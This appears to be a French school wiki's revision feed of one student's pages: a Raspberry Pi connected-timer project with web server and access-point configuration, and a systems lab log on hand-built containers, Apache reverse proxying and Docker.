L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Flyer===&lt;br /&gt;
&amp;lt;div style=&amp;quot;&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Flyer_timer_iot.jpeg&amp;diff=49544</id>
		<title>Fichier:Flyer timer iot.jpeg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Flyer_timer_iot.jpeg&amp;diff=49544"/>
				<updated>2019-01-21T16:55:11Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49341</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49341"/>
				<updated>2019-01-19T16:23:26Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Suivi de réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limité en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet à se connecter à une page web ou les enseignants peuvent marquer des commentaires subtiles que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisée sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 4 afficheurs 7 segments&lt;br /&gt;
* Une Raspberry pi 3&lt;br /&gt;
* Des transistors PNP &lt;br /&gt;
* Résistances&lt;br /&gt;
* Multiplexeurs&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TimerProf.png&amp;diff=49340</id>
		<title>Fichier:TimerProf.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:TimerProf.png&amp;diff=49340"/>
				<updated>2019-01-19T15:37:06Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:CHOIXIOT.png&amp;diff=49339</id>
		<title>Fichier:CHOIXIOT.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:CHOIXIOT.png&amp;diff=49339"/>
				<updated>2019-01-19T15:36:30Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Entreeiot.png&amp;diff=49338</id>
		<title>Fichier:Entreeiot.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Entreeiot.png&amp;diff=49338"/>
				<updated>2019-01-19T15:36:02Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dgramtimer.png&amp;diff=49337</id>
		<title>Fichier:Dgramtimer.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Dgramtimer.png&amp;diff=49337"/>
				<updated>2019-01-19T15:25:31Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49336</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49336"/>
				<updated>2019-01-19T13:26:20Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Matériel utilisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limité en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet à se connecter à une page web ou les enseignants peuvent marquer des commentaires subtiles que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisée sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 4 afficheurs 7 segments&lt;br /&gt;
* Une Raspberry pi 3&lt;br /&gt;
* Des transistors PNP &lt;br /&gt;
* Résistances&lt;br /&gt;
* Multiplexeurs&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49335</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49335"/>
				<updated>2019-01-19T13:23:31Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Description du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limité en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet à se connecter à une page web ou les enseignants peuvent marquer des commentaires subtiles que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisée sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49334</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49334"/>
				<updated>2019-01-19T13:17:04Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Contexte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limité en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet à se connecter à une page web ou les enseignants peuvent marquer des commentaires subtiles que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49138</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49138"/>
				<updated>2018-12-21T18:23:59Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* 4.4 DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
